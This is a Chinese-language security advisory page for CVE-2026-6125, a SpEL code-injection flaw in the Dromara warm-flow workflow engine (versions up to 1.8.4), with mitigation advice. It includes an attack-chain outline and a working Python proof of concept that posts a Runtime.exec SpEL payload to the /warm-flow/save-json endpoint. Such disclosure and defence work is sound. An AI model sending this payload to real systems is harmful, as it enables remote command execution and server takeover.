IPBUF安全漏洞报告
English
CVE-2026-6125 CVSS 6.3 中危

CVE-2026-6125 Dromara warm-flow代码注入漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2026-6125
漏洞类型
代码注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dromara warm-flow

相关标签

代码注入SpEL注入远程代码执行Dromara warm-flowRCE

漏洞概述

CVE-2026-6125是Dromara warm-flow工作流引擎中的一个安全漏洞,影响1.8.4及之前版本。该漏洞位于工作流定义处理程序中,由于`SpelHelper.parseExpression`函数在解析表达式时未对用户输入进行严格过滤,导致攻击者可以通过操纵`listenerPath`、`skipCondition`或`permissionFlag`参数执行代码注入攻击。攻击无需用户交互且仅需低权限,成功利用可能导致系统机密性、完整性和可用性受损。

技术细节

该漏洞的根本原因在于Dromara warm-flow组件在处理`/warm-flow/save-json`接口的请求时,直接将用户可控的参数传递给了`SpelHelper.parseExpression`方法进行解析。该方法基于Spring Expression Language (SpEL)实现,旨在提供动态表达式计算功能。然而,由于缺乏必要的安全校验机制,攻击者可以向`listenerPath`、`skipCondition`或`permissionFlag`字段注入恶意的SpEL表达式(如`T(java.lang.Runtime).getRuntime().exec('cmd')`)。当服务器端解析这些表达式时,SpEL引擎会执行其中的恶意代码,从而导致远程代码执行(RCE)。攻击者利用此漏洞可在服务器上执行任意系统命令,进一步控制服务器或窃取敏感数据。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统正在使用Dromara warm-flow组件,并确认版本在1.8.4及以下。
STEP 2
2. 构造Payload
攻击者构造包含恶意SpEL表达式的HTTP POST请求,该表达式旨在执行系统命令(如反弹Shell或写入Webshell)。
STEP 3
3. 发送恶意请求
攻击者向`/warm-flow/save-json`接口发送请求,将恶意代码注入到`listenerPath`等参数中。
STEP 4
4. 代码执行
服务器端`SpelHelper`解析传入的恶意表达式,触发SpEL引擎执行任意系统命令。
STEP 5
5. 建立立足点
攻击者利用执行的命令获取服务器权限,进一步进行横向移动或数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-host:port/warm-flow/save-json" # Malicious payload using SpEL injection to execute command (e.g., 'whoami') # Modify the payload based on the target OS payload = "T(java.lang.Runtime).getRuntime().exec('whoami')" # Data containing the vulnerable parameter # 'listenerPath', 'skipCondition', or 'permissionFlag' can be used data = { "listenerPath": payload, "skipCondition": payload, "permissionFlag": payload } # Send POST request try: response = requests.post(url, json=data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Dromara warm-flow <= 1.8.4

防御指南

临时缓解措施
如果不能立即升级,建议在WAF或反向代理层添加规则,阻止包含SpEL表达式特征字符(如`new `、`T(`、`Runtime`等)的流量。同时,检查系统日志中是否存在针对`/warm-flow/save-json`接口的异常请求,并临时禁用该接口的功能直到修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表